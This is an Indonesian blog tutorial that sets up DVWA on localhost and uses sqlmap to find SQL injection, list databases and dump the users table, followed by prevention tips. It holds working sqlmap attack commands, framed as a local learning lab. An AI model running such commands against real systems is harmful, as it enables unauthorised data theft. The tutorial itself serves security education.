Simulasi Penyerangan Database Menggunakan Kali Linux

Hasan AminHasan Amin
2 min read

⚠️ Disclaimer

Simulasi ini hanya boleh dilakukan di lingkungan lokal (localhost) untuk tujuan pembelajaran. Jangan pernah melakukan ini di sistem yang tidak kamu miliki izin penuh.


🎯 Tujuan Simulasi

  • Mempelajari bagaimana SQL Injection bekerja

  • Menggunakan sqlmap untuk menguji kerentanan database

  • Menunjukkan pentingnya validasi input dan pengamanan query di backend


🧰 Tools yang Digunakan

  • Kali Linux

  • XAMPP / Apache + MySQL (server lokal)

  • sqlmap (sudah tersedia di Kali Linux)

  • Aplikasi web rentan: DVWA (Damn Vulnerable Web Application)


🏗️ Langkah-Langkah Praktikum

1. Install DVWA di Mesin Target (localhost)

Di Kali atau Ubuntu server:

sudo apt update
sudo apt install apache2 mariadb-server php php-mysqli git -y
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA

2. Konfigurasi Database DVWA

sudo mysql -u root

Di prompt MySQL:

CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EXIT;

Edit file DVWA/config/config.inc.php:

$_DVWA[ 'db_user' ] = 'dvwauser';
$_DVWA[ 'db_password' ] = 'dvwapass';

3. Jalankan Apache dan MySQL

sudo systemctl start apache2
sudo systemctl start mysql

Akses DVWA di browser:

http://localhost/DVWA/setup.php

Klik Create / Reset Database.

Set Security Level ke "Low".


🧪 Simulasi Serangan SQL Injection

1. Akses Target

Cek halaman login atau halaman dengan parameter GET (misal: id=1):

http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

2. Jalankan sqlmap

Buka terminal di Kali Linux dan jalankan:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=..." --dbs

📝 Ganti PHPSESSID=... dengan session cookie dari browser.

sqlmap akan mendeteksi dan menampilkan database yang tersedia.

3. Dump Isi Database

Setelah tahu nama databasenya, misalnya dvwa, lakukan dump tabel:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump

🔍 Hasil yang Didapat

  • Nama-nama database dan tabel terbuka

  • Data user seperti username dan password berhasil diambil

  • Menunjukkan betapa berbahayanya input tanpa filter


🛡️ Tindakan Pencegahan

  1. Gunakan prepared statements di backend.

  2. Validasi semua input dari user.

  3. Jangan tampilkan error SQL ke user.

  4. Gunakan WAF (Web Application Firewall).

  5. Selalu update dan patch sistem.


✅ Kesimpulan

Simulasi ini menunjukkan betapa mudahnya database bisa diretas jika:

  • Tidak ada sanitasi input

  • Aplikasi tidak aman

  • Sistem terlalu terbuka

💡 Praktikum ini bukan hanya tentang menyerang, tapi membuka mata bahwa keamanan web dan database adalah tanggung jawab utama developer & sysadmin.

0
Subscribe to my newsletter

Read articles from Hasan Amin directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Hasan Amin
Hasan Amin